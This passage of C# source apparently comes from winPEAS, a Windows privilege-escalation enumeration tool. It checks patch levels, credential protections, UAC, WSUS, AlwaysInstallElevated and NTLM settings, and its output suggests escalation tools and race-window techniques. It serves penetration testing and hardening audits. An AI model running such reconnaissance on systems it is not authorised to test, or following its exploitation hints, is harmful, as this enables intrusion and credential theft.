PrintLocalGroupPolicy,\n                PrintPotentialGPOAbuse,\n                AppLockerHelper.PrintAppLockerPolicy,\n                PrintPrintNightmarePointAndPrint,\n                PrintPrintersWMIInfo,\n                PrintNamedPipes,\n                PrintNamedPipeAbuseCandidates,\n                PrintAMSIProviders,\n                PrintSysmon,\n                PrintDotNetVersions\n            }.ForEach(action => CheckRunner.Run(action, isDebug));\n        }\n\n        private static void PrintBasicSystemInfo()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Basic System Information\", \"T1082\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#version-exploits\", \"Check if the Windows versions is vulnerable to some known exploit\");\n                Dictionary<string, string> basicDictSystem = Info.SystemInfo.SystemInfo.GetBasicOSInfo();\n                _basicSystemInfo = new Dictionary<string, string>(basicDictSystem);\n                basicDictSystem[\"Hotfixes\"] = Beaprint.ansi_color_good + basicDictSystem[\"Hotfixes\"] + Beaprint.NOCOLOR;\n                Dictionary<string, string> colorsSI = new Dictionary<string, string>\n                {\n                    { Globals.StrTrue, Beaprint.ansi_color_bad },\n                };\n                Beaprint.DictPrint(basicDictSystem, colorsSI, false);\n                Console.WriteLine();\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintWindowsVersionVulnerabilities()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Windows Version Vulnerabilities\", \"T1082,T1068\");\n\n                var basicInfo = _basicSystemInfo ?? Info.SystemInfo.SystemInfo.GetBasicOSInfo();\n                var report = WindowsVersionVulns.GetVulnerabilityReport(basicInfo);\n\n                if (report.CandidateProducts.Count == 0)\n                {\n                    Beaprint.InfoPrint(\"Unable to map this OS to product definitions.\");\n                    return;\n                }\n\n                Beaprint.InfoPrint(\"Product candidates: \" + string.Join(\" | \", report.CandidateProducts));\n                if (!string.IsNullOrEmpty(report.DefinitionsDate))\n                {\n                    Beaprint.InfoPrint(\"Definitions date: \" + report.DefinitionsDate);\n                }\n                Beaprint.InfoPrint(\"Installed hotfixes detected: \" + report.InstalledHotfixesCount);\n                if (report.TotalMatchedBeforeFiltering > 0)\n                {\n                    Beaprint.InfoPrint($\"Pre-filter matches: {report.TotalMatchedBeforeFiltering}, filtered by installed/superseded KBs: {report.FilteredByPatches}\");\n                }\n\n                if (report.Vulnerabilities.Count == 0)\n                {\n                    Beaprint.GoodPrint(\"No known exploited vulnerabilities matched this running Windows version.\");\n                    return;\n                }\n\n                Beaprint.BadPrint($\"Matched {report.Vulnerabilities.Count} known exploited vulnerabilities for this running Windows version.\");\n                if (report.MatchedProducts.Count > 0)\n                {\n                    Beaprint.BadPrint(\"Matched products: \" + string.Join(\" | \", report.MatchedProducts));\n                }\n\n                int maxToPrint = 20;\n                foreach (var vuln in report.Vulnerabilities.Take(maxToPrint))\n                {\n                    string vulnId = string.IsNullOrWhiteSpace(vuln.cve) ? $\"KB{vuln.kb}\" : vuln.cve;\n                    string kbInfo = string.IsNullOrWhiteSpace(vuln.kb) ? \"\" : $\" KB{vuln.kb}\";\n                    string severityInfo = string.IsNullOrWhiteSpace(vuln.severity) ? \"\" : $\" [{vuln.severity}]\";\n                    string impactInfo = string.IsNullOrWhiteSpace(vuln.impact) ? \"\" : $\" {vuln.impact}\";\n                    Beaprint.BadPrint($\"    {vulnId}{kbInfo}{severityInfo}{impactInfo}\");\n                }\n\n                if (report.Vulnerabilities.Count > maxToPrint)\n                {\n                    Beaprint.InfoPrint($\"Showing {maxToPrint}/{report.Vulnerabilities.Count} results.\");\n                }\n\n                Beaprint.InfoPrint(\"This check applies version matching with installed/superseded KB filtering.\");\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintMicrosoftUpdatesCOM()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Showing All Microsoft Updates\", \"T1082\");\n\n                var searcher = Type.GetTypeFromProgID(\"Microsoft.Update.Searcher\");\n                var searcherObj = Activator.CreateInstance(searcher);\n\n                // get the total number of updates\n                var count = (int)searcherObj.GetType().InvokeMember(\"GetTotalHistoryCount\", BindingFlags.InvokeMethod, null, searcherObj, new object[] { });\n\n                // get the pointer to the update collection\n                var results = searcherObj.GetType().InvokeMember(\"QueryHistory\", BindingFlags.InvokeMethod, null, searcherObj, new object[] { 0, count });\n\n                for (int i = 0; i < count; ++i)\n                {\n                    // get the actual update item\n                    var item = searcherObj.GetType().InvokeMember(\"Item\", BindingFlags.GetProperty, null, results, new object[] { i });\n\n                    // get our properties\n                    //  ref - https://docs.microsoft.com/en-us/windows/win32/api/wuapi/nn-wuapi-iupdatehistoryentry\n                    var title = searcherObj.GetType().InvokeMember(\"Title\", BindingFlags.GetProperty, null, item, new object[] { })?.ToString() ?? string.Empty;\n                    var date = searcherObj.GetType().InvokeMember(\"Date\", BindingFlags.GetProperty, null, item, new object[] { });\n                    var description = searcherObj.GetType().InvokeMember(\"Description\", BindingFlags.GetProperty, null, item, new object[] { });\n                    var clientApplicationID = searcherObj.GetType().InvokeMember(\"ClientApplicationID\", BindingFlags.GetProperty, null, item, new object[] { });\n\n                    string hotfixId = \"\";\n                    Regex reg = new Regex(@\"KB\\d+\");\n                    var matches = reg.Matches(title);\n                    if (matches.Count > 0)\n                    {\n                        hotfixId = matches[0].ToString();\n                    }\n\n                    Beaprint.NoColorPrint($\"   HotFix ID                :   {hotfixId}\\n\" +\n                                                $\"   Installed At (UTC)       :   {Convert.ToDateTime(date.ToString()).ToUniversalTime()}\\n\" +\n                                                $\"   Title                    :   {title}\\n\" +\n                                                $\"   Client Application ID    :   {clientApplicationID}\\n\" +\n                                                $\"   Description              :   {description}\\n\");\n\n                    Beaprint.PrintLineSeparator();\n\n                    Marshal.ReleaseComObject(item);\n                }\n\n                Marshal.ReleaseComObject(results);\n                Marshal.ReleaseComObject(searcherObj);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        static void PrintPSInfo()\n        {\n            try\n            {\n                Dictionary<string, string> colorsPSI = new Dictionary<string, string>()\n                {\n                    { \"PS history file: .+\", Beaprint.ansi_color_bad },\n                    { \"PS history size: .+\", Beaprint.ansi_color_bad }\n                };\n                Beaprint.MainPrint(\"PowerShell Settings\", \"T1059.001\");\n                Dictionary<string, string> PSs = Info.SystemInfo.SystemInfo.GetPowerShellSettings();\n                Beaprint.DictPrint(PSs, colorsPSI, false);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        static void PrintTranscriptPS()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"PS default transcripts history\", \"T1552.001\");\n                Beaprint.InfoPrint(\"Read the PS history inside these files (if any)\");\n                string drive = Path.GetPathRoot(Environment.SystemDirectory);\n                string transcriptsPath = drive + @\"transcripts\\\";\n                string usersPath = $\"{drive}users\";\n\n                var users = Directory.EnumerateDirectories(usersPath, \"*\", SearchOption.TopDirectoryOnly);\n                string powershellTranscriptFilter = \"powershell_transcript*\";\n\n                var colors = new Dictionary<string, string>()\n                {\n                    { \"^.*\", Beaprint.ansi_color_bad },\n                };\n\n                var results = new List<string>();\n\n                var dict = new Dictionary<string, string>()\n                {\n                    // check \\\\transcripts\\ folder\n                    {transcriptsPath, \"*\"},\n                };\n\n                foreach (var user in users)\n                {\n                    // check the users directories\n                    dict.Add($\"{user}\\\\Documents\", powershellTranscriptFilter);\n                }\n\n                foreach (var kvp in dict)\n                {\n                    var path = kvp.Key;\n                    var filter = kvp.Value;\n\n                    if (Directory.Exists(path))\n                    {\n                        try\n                        {\n                            var files = Directory.EnumerateFiles(path, filter, SearchOption.TopDirectoryOnly).ToList();\n\n                            foreach (var file in files)\n                            {\n                                var fileInfo = new FileInfo(file);\n                                var humanReadableSize = MyUtils.ConvertBytesToHumanReadable(fileInfo.Length);\n                                var item = $\"[{humanReadableSize}] - {file}\";\n\n                                results.Add(item);\n                            }\n                        }\n                        catch (UnauthorizedAccessException) { }\n                        catch (PathTooLongException) { }\n                        catch (DirectoryNotFoundException) { }\n                    }\n                }\n\n                if (results.Count > 0)\n                {\n                    Beaprint.ListPrint(results, colors);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintAuditInfo()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Audit Settings\", \"T1562.002\");\n                Beaprint.LinkPrint(\"\", \"Check what is being logged\");\n                Dictionary<string, string> auditDict = Info.SystemInfo.SystemInfo.GetAuditSettings();\n                Beaprint.DictPrint(auditDict, false);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintAuditPoliciesInfo()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Audit Policy Settings - Classic & Advanced\", \"T1562.002\");\n\n                var policies = AuditPolicies.GetAuditPoliciesInfos();\n\n                foreach (var policy in policies)\n                {\n                    Beaprint.NoColorPrint($\"    Domain        :     {policy.Domain}\\n\" +\n                                                $\"    GPO           :     {policy.GPO}\\n\" +\n                                                $\"    Type          :     {policy.Type}\\n\");\n\n                    foreach (var entry in policy.Settings)\n                    {\n                        Beaprint.NoColorPrint($\"        {entry.Subcategory,50}   :   {entry.AuditType}\");\n                    }\n\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        static void PrintWEFInfo()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"WEF Settings\", \"T1562.002\");\n                Beaprint.LinkPrint(\"\", \"Windows Event Forwarding, is interesting to know were are sent the logs\");\n                Dictionary<string, string> weftDict = Info.SystemInfo.SystemInfo.GetWEFSettings();\n                Beaprint.DictPrint(weftDict, false);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintLAPSInfo()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"LAPS Settings\", \"T1003.004\");\n                Beaprint.LinkPrint(\"\", \"If installed, local administrator password is changed frequently and is restricted by ACL\");\n                Dictionary<string, string> lapsDict = Info.SystemInfo.SystemInfo.GetLapsSettings();\n                Dictionary<string, string> colorsSI = new Dictionary<string, string>()\n                        {\n                            { badLAPS, Beaprint.ansi_color_bad }\n                        };\n                Beaprint.DictPrint(lapsDict, colorsSI, false);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        static void PrintWdigest()\n        {\n            Beaprint.MainPrint(\"Wdigest\", \"T1003.001\");\n            Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wdigest\", \"If enabled, plain-text crds could be stored in LSASS\");\n            string useLogonCredential = RegistryHelper.GetRegValue(\"HKLM\", @\"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest\", \"UseLogonCredential\");\n            if (useLogonCredential == \"1\")\n                Beaprint.BadPrint(\"    Wdigest is active\");\n            else\n                Beaprint.GoodPrint(\"    Wdigest is not enabled\");\n        }\n\n        static void PrintLSAProtection()\n        {\n            Beaprint.MainPrint(\"LSA Protection\", \"T1003.001\");\n            Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#lsa-protection\", \"If enabled, a driver is needed to read LSASS memory (If Secure Boot or UEFI, RunAsPPL cannot be disabled by deleting the registry key)\");\n            string useLogonCredential = RegistryHelper.GetRegValue(\"HKLM\", @\"SYSTEM\\CurrentControlSet\\Control\\LSA\", \"RunAsPPL\");\n            if (useLogonCredential == \"1\")\n                Beaprint.GoodPrint(\"    LSA Protection is active\");\n            else\n                Beaprint.BadPrint(\"    LSA Protection is not enabled\");\n        }\n\n        static void PrintCredentialGuard()\n        {\n            Beaprint.MainPrint(\"Credentials Guard\", \"T1003.001\");\n            Beaprint.LinkPrint(\"https://book.hacktricks.wiki/windows-hardening/stealing-credentials/credentials-protections#credentials-guard\", \"If enabled, a driver is needed to read LSASS memory\");\n            string lsaCfgFlags = RegistryHelper.GetRegValue(\"HKLM\", @\"System\\CurrentControlSet\\Control\\LSA\", \"LsaCfgFlags\");\n\n            if (lsaCfgFlags == \"1\")\n            {\n                Console.WriteLine(\"    Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).\");\n                Beaprint.GoodPrint(\"    CredentialGuard is active with UEFI lock\");\n            }\n            else if (lsaCfgFlags == \"2\")\n            {\n                Console.WriteLine(\"    Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).\");\n                Beaprint.GoodPrint(\"    CredentialGuard is active without UEFI lock\");\n            }\n            else\n            {\n                Beaprint.BadPrint(\"    CredentialGuard is not enabled\");\n            }\n\n            CredentialGuard.PrintInfo();\n        }\n\n        static void PrintCachedCreds()\n        {\n            try{\n                Beaprint.MainPrint(\"Cached Creds\", \"T1003.005\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#cached-credentials\", \"If > 0, credentials will be cached in the registry and accessible by SYSTEM user\");\n                string cachedlogonscount = RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\", \"CACHEDLOGONSCOUNT\");\n                if (!string.IsNullOrEmpty(cachedlogonscount))\n                {\n                    int clc = Int16.Parse(cachedlogonscount);\n                    if (clc > 0)\n                    {\n                        Beaprint.BadPrint(\"    cachedlogonscount is \" + cachedlogonscount);\n                    }\n                    else\n                    {\n                        Beaprint.BadPrint(\"    cachedlogonscount is \" + cachedlogonscount);\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        static void PrintUserEV()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"User Environment Variables\", \"T1082\");\n                Beaprint.LinkPrint(\"\", \"Check for some passwords or keys in the env variables\");\n                Dictionary<string, string> userEnvDict = Info.SystemInfo.SystemInfo.GetUserEnvVariables();\n                Dictionary<string, string> colorsSI = new Dictionary<string, string>()\n                {\n                    { Globals.PrintCredStringsLimited, Beaprint.ansi_color_bad }\n                };\n                Beaprint.DictPrint(userEnvDict, colorsSI, false);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        static void PrintSystemEV()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"System Environment Variables\", \"T1082\");\n                Beaprint.LinkPrint(\"\", \"Check for some passwords or keys in the env variables\");\n                Dictionary<string, string> sysEnvDict = Info.SystemInfo.SystemInfo.GetSystemEnvVariables();\n                Dictionary<string, string> colorsSI = new Dictionary<string, string>()\n                {\n                    { Globals.PrintCredStringsLimited, Beaprint.ansi_color_bad }\n                };\n                Beaprint.DictPrint(sysEnvDict, colorsSI, false);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        static void PrintInetInfo()\n        {\n            try\n            {\n                Dictionary<string, string> colorsSI = new Dictionary<string, string>()\n                {\n                    { \"ProxyServer.*\", Beaprint.ansi_color_bad }\n                };\n\n                Beaprint.MainPrint(\"HKCU Internet Settings\", \"T1082\");\n                Dictionary<string, string> HKCUDict = Info.SystemInfo.SystemInfo.GetInternetSettings(\"HKCU\");\n                Beaprint.DictPrint(HKCUDict, colorsSI, true);\n\n                Beaprint.MainPrint(\"HKLM Internet Settings\", \"T1082\");\n                Dictionary<string, string> HKMLDict = Info.SystemInfo.SystemInfo.GetInternetSettings(\"HKLM\");\n                Beaprint.DictPrint(HKMLDict, colorsSI, true);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        static void PrintDrivesInfo()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Drives Information\", \"T1082\");\n                Beaprint.LinkPrint(\"\", \"Remember that you should search more info inside the other drives\");\n                Dictionary<string, string> colorsSI = new Dictionary<string, string>()\n                {\n                    { \"Permissions.*\", Beaprint.ansi_color_bad}\n                };\n\n                foreach (Dictionary<string, string> drive in Info.SystemInfo.SystemInfo.GetDrivesInfo())\n                {\n                    string drive_permissions = string.Join(\", \", PermissionsHelper.GetPermissionsFolder(drive[\"Name\"], Checks.CurrentUserSiDs));\n                    string dToPrint = string.Format(\"    {0} (Type: {1})\", drive[\"Name\"], drive[\"Type\"]);\n                    if (!string.IsNullOrEmpty(drive[\"Volume label\"]))\n                        dToPrint += \"(Volume label: \" + drive[\"Volume label\"] + \")\";\n\n                    if (!string.IsNullOrEmpty(drive[\"Filesystem\"]))\n                        dToPrint += \"(Filesystem: \" + drive[\"Filesystem\"] + \")\";\n\n                    if (!string.IsNullOrEmpty(drive[\"Available space\"]))\n                        dToPrint += \"(Available space: \" + (((Int64.Parse(drive[\"Available space\"]) / 1024) / 1024) / 1024).ToString() + \" GB)\";\n\n                    if (drive_permissions.Length > 0)\n                        dToPrint += \"(Permissions: \" + drive_permissions + \")\";\n\n                    Beaprint.AnsiPrint(dToPrint, colorsSI);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        static void PrintAVInfo()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"AV Information\", \"T1518.001\");\n                Dictionary<string, string> AVInfo = Info.SystemInfo.SystemInfo.GetAVInfo();\n                if (AVInfo.ContainsKey(\"Name\") && AVInfo[\"Name\"].Length > 0)\n                    Beaprint.GoodPrint(\"    Some AV was detected, search for bypasses\");\n                else\n                    Beaprint.BadPrint(\"    No AV was detected!!\");\n\n                Beaprint.DictPrint(AVInfo, true);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        static void PrintUACInfo()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"UAC Status\", \"T1548.002\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#from-administrator-medium-to-high-integrity-level--uac-bypasss\", \"If you are in the Administrators group check how to bypass the UAC\");\n                Dictionary<string, string> uacDict = Info.SystemInfo.SystemInfo.GetUACSystemPolicies();\n\n                Dictionary<string, string> colorsSI = new Dictionary<string, string>()\n                {\n                    { badUAC, Beaprint.ansi_color_bad },\n                    { goodUAC, Beaprint.ansi_color_good }\n                };\n                Beaprint.DictPrint(uacDict, colorsSI, false);\n\n                if ((uacDict[\"EnableLUA\"] == \"\") || (uacDict[\"EnableLUA\"] == \"0\"))\n                    Beaprint.BadPrint(\"      [*] EnableLUA != 1, UAC policies disabled.\\r\\n      [+] Any local account can be used for lateral movement.\");\n\n                if ((uacDict[\"EnableLUA\"] == \"1\") && (uacDict[\"LocalAccountTokenFilterPolicy\"] == \"1\"))\n                    Beaprint.BadPrint(\"      [*] LocalAccountTokenFilterPolicy set to 1.\\r\\n      [+] Any local account can be used for lateral movement.\");\n\n                if ((uacDict[\"EnableLUA\"] == \"1\") && (uacDict[\"LocalAccountTokenFilterPolicy\"] != \"1\") && (uacDict[\"FilterAdministratorToken\"] != \"1\"))\n                    Beaprint.GoodPrint(\"      [*] LocalAccountTokenFilterPolicy set to 0 and FilterAdministratorToken != 1.\\r\\n      [-] Only the RID-500 local admin account can be used for lateral movement.\");\n\n                if ((uacDict[\"EnableLUA\"] == \"1\") && (uacDict[\"LocalAccountTokenFilterPolicy\"] != \"1\") && (uacDict[\"FilterAdministratorToken\"] == \"1\"))\n                    Beaprint.GoodPrint(\"      [*] LocalAccountTokenFilterPolicy set to 0 and FilterAdministratorToken == 1.\\r\\n      [-] No local accounts can be used for lateral movement.\");\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        static void PrintWSUS()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Checking WSUS\", \"T1072,T1068\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus\");\n                string policyPath = \"Software\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\";\n                string policyAUPath = \"Software\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\AU\";\n                string wsusPolicyValue = RegistryHelper.GetRegValue(\"HKLM\", policyPath, \"WUServer\");\n                string useWUServerValue = RegistryHelper.GetRegValue(\"HKLM\", policyAUPath, \"UseWUServer\");\n\n                if (!string.IsNullOrEmpty(wsusPolicyValue) && wsusPolicyValue.StartsWith(\"http://\", StringComparison.OrdinalIgnoreCase))\n                {\n                    Beaprint.BadPrint(\"    WSUS is using http: \" + wsusPolicyValue);\n                    Beaprint.InfoPrint(\"You can test https://github.com/pimps/wsuxploit to escalate privileges\");\n                    if (useWUServerValue == \"1\")\n                        Beaprint.BadPrint(\"    And UseWUServer is equals to 1, so it is vulnerable!\");\n                    else if (useWUServerValue == \"0\")\n                        Beaprint.GoodPrint(\"    But UseWUServer is equals to 0, so it is not vulnerable!\");\n                    else\n                        Console.WriteLine(\"    But UseWUServer is equals to \" + useWUServerValue + \", so it may work or not\");\n                }\n                else\n                {\n                    if (string.IsNullOrEmpty(wsusPolicyValue))\n                        Beaprint.NotFoundPrint();\n                    else\n                        Beaprint.GoodPrint(\"    WSUS value: \" + wsusPolicyValue);\n                }\n\n                if (!string.IsNullOrEmpty(wsusPolicyValue))\n                {\n                    bool clientsForced = useWUServerValue == \"1\";\n                    if (clientsForced)\n                    {\n                        Beaprint.BadPrint(\"    CVE-2025-59287: Clients talk to WSUS at \" + wsusPolicyValue + \" (UseWUServer=1). Unpatched WSUS allows unauthenticated deserialization to SYSTEM.\");\n                    }\n                    else\n                    {\n                        Beaprint.InfoPrint(\"    CVE-2025-59287: WSUS endpoint discovered at \" + wsusPolicyValue + \". Confirm patch level before attempting exploitation.\");\n                        if (!string.IsNullOrEmpty(useWUServerValue))\n                            Beaprint.InfoPrint(\"    UseWUServer is set to \" + useWUServerValue + \", clients may still reach Microsoft Update.\");\n                    }\n                }\n\n                string wsusSetupPath = @\"SOFTWARE\\Microsoft\\Update Services\\Server\\Setup\";\n                string wsusVersion = RegistryHelper.GetRegValue(\"HKLM\", wsusSetupPath, \"VersionString\");\n                string wsusInstallPath = RegistryHelper.GetRegValue(\"HKLM\", wsusSetupPath, \"InstallPath\");\n                bool wsusRoleDetected = !string.IsNullOrEmpty(wsusVersion) || !string.IsNullOrEmpty(wsusInstallPath);\n\n                if (TryGetServiceStateAndAccount(\"WSUSService\", out string wsusServiceState, out string wsusServiceAccount))\n                {\n                    wsusRoleDetected = true;\n                    string serviceMsg = \"    WSUSService status: \" + wsusServiceState;\n                    if (!string.IsNullOrEmpty(wsusServiceAccount))\n                        serviceMsg += \" (runs as \" + wsusServiceAccount + \")\";\n                    Beaprint.BadPrint(serviceMsg);\n                }\n\n                if (wsusRoleDetected)\n                {\n                    if (!string.IsNullOrEmpty(wsusVersion))\n                        Beaprint.BadPrint(\"    WSUS Server version: \" + wsusVersion + \" (verify patch level for CVE-2025-59287).\");\n                    if (!string.IsNullOrEmpty(wsusInstallPath))\n                        Beaprint.InfoPrint(\"    WSUS install path: \" + wsusInstallPath);\n                    Beaprint.BadPrint(\"    CVE-2025-59287: Local WSUS server exposes an unauthenticated deserialization surface reachable over HTTP(S). Patch or restrict access.\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static bool TryGetServiceStateAndAccount(string serviceName, out string state, out string account)\n        {\n            state = string.Empty;\n            account = string.Empty;\n\n            try\n            {\n                string query = $\"SELECT Name, State, StartName FROM Win32_Service WHERE Name='{serviceName.Replace(\"'\", \"''\")}'\";\n                using (var searcher = new ManagementObjectSearcher(@\"root\\cimv2\", query))\n                {\n                    foreach (ManagementObject service in searcher.Get())\n                    {\n                        state = service[\"State\"]?.ToString() ?? string.Empty;\n                        account = service[\"StartName\"]?.ToString() ?? string.Empty;\n                        return true;\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n\n            return false;\n        }\n\n        static void PrintKrbRelayUp()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Checking KrbRelayUp\", \"T1187,T1558\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#krbrelayup\");\n\n                if (Checks.CurrentAdDomainName.Length > 0)\n                {\n                    Beaprint.BadPrint(\"  The system is inside a domain (\" + Checks.CurrentAdDomainName + \") so it could be vulnerable.\");\n                    Beaprint.InfoPrint(\"You can try https://github.com/Dec0ne/KrbRelayUp to escalate privileges\");\n                }\n                else\n                {\n                    Beaprint.GoodPrint(\"  The system isn't inside a domain, so it isn't vulnerable\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        static void PrintInsideContainer()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Checking If Inside Container\", \"T1613\");\n                Beaprint.LinkPrint(\"\", \"If the binary cexecsvc.exe or associated service exists, you are inside Docker\");\n                Dictionary<string, object> regVal = RegistryHelper.GetRegValues(\"HKLM\", @\"System\\CurrentControlSet\\Services\\cexecsvc\");\n                bool cexecsvcExist = File.Exists(Environment.SystemDirectory + @\"\\cexecsvc.exe\");\n                if (regVal != null || cexecsvcExist)\n                {\n                    Beaprint.BadPrint(\"You are inside a container\");\n                }\n                else\n                {\n                    Beaprint.GoodPrint(\"You are NOT inside a container\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        static void PrintAlwaysInstallElevated()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Checking AlwaysInstallElevated\", \"T1548.002\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated\");\n                string path = \"Software\\\\Policies\\\\Microsoft\\\\Windows\\\\Installer\";\n                string HKLM_AIE = RegistryHelper.GetRegValue(\"HKLM\", path, \"AlwaysInstallElevated\");\n                string HKCU_AIE = RegistryHelper.GetRegValue(\"HKCU\", path, \"AlwaysInstallElevated\");\n\n                if (HKLM_AIE == \"1\")\n                {\n                    Beaprint.BadPrint(\"    AlwaysInstallElevated set to 1 in HKLM!\");\n                }\n\n                if (HKCU_AIE == \"1\")\n                {\n                    Beaprint.BadPrint(\"    AlwaysInstallElevated set to 1 in HKCU!\");\n                }\n\n                if (HKLM_AIE != \"1\" && HKCU_AIE != \"1\")\n                {\n                    Beaprint.GoodPrint(\"    AlwaysInstallElevated isn't available\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        static void PrintObjectManagerRaceAmplification()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Object Manager race-window amplification primitives\", \"T1068\");\n                Beaprint.LinkPrint(\"https://projectzero.google/2025/12/windows-exploitation-techniques.html\", \"Project Zero write-up:\");\n\n                if (ObjectManagerHelper.TryCreateSessionEvent(out var objectName, out var error))\n                {\n                    Beaprint.BadPrint($\"    Created a test named event ({objectName}) under \\\\BaseNamedObjects.\");\n                    Beaprint.InfoPrint(\"    -> Low-privileged users can slow NtOpen*/NtCreate* lookups using ~32k-character names or ~16k-level directory chains.\");\n                    Beaprint.InfoPrint(\"    -> Point attacker-controlled symbolic links to the slow path to stretch kernel race windows.\");\n                    Beaprint.InfoPrint(\"    -> Use this whenever a bug follows check -> NtOpenX -> privileged action patterns.\");\n                }\n                else\n                {\n                    Beaprint.InfoPrint($\"    Could not create a test event under \\\\BaseNamedObjects ({error}). The namespace might be locked down.\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintNtlmSettings()\n        {\n            Beaprint.MainPrint($\"Enumerating NTLM Settings\", \"T1557.001\");\n\n            try\n            {\n                var info = Ntlm.GetNtlmSettingsInfo();\n\n                string lmCompatibilityLevelColor = info.LanmanCompatibilityLevel >= 3 ? Beaprint.ansi_color_good : Beaprint.ansi_color_bad;\n                Beaprint.ColorPrint($\"  LanmanCompatibilityLevel    : {info.LanmanCompatibilityLevel} ({info.LanmanCompatibilityLevelString})\\n\", lmCompatibilityLevelColor);\n\n                var ntlmSettingsColors = new Dictionary<string, string>\n                {\n                    { \"True\", Beaprint.ansi_color_good },\n                    { \"False\", Beaprint.ansi_color_bad },\n                    { \"No signing\", Beaprint.ansi_color_bad},\n                    { \"null\", Beaprint.ansi_color_bad},\n                    { \"Require Signing\", Beaprint.ansi_color_good},\n                    { \"Negotiate signing\", Beaprint.ansi_color_yellow},\n                    { \"Unknown\", Beaprint.ansi_color_bad},\n                };\n\n                Beaprint.ColorPrint(\"\\n  NTLM Signing Settings\", Beaprint.LBLUE);\n                Beaprint.AnsiPrint($\"      ClientRequireSigning    : {info.ClientRequireSigning}\\n\" +\n                                   $\"      ClientNegotiateSigning  : {info.ClientNegotiateSigning}\\n\" +\n                                   $\"      ServerRequireSigning    : {info.ServerRequireSigning}\\n\" +\n                                   $\"      ServerNegotiateSigning  : {info.ServerNegotiateSigning}\\n\" +\n                                   $\"      LdapSigning             : {(info.LdapSigning != null ? info.LdapSigningString : \"null\")} ({info.LdapSigningString})\",\n                                   ntlmSettingsColors);\n\n                Beaprint.ColorPrint(\"\\n  Session Security\", Beaprint.LBLUE);\n\n                if (info.NTLMMinClientSec != null)\n                {\n                    var clientSessionSecurity = (SessionSecurity)info.NTLMMinClientSec;\n                    var clientSessionSecurityDescription = clientSessionSecurity.GetDescription();\n                    var 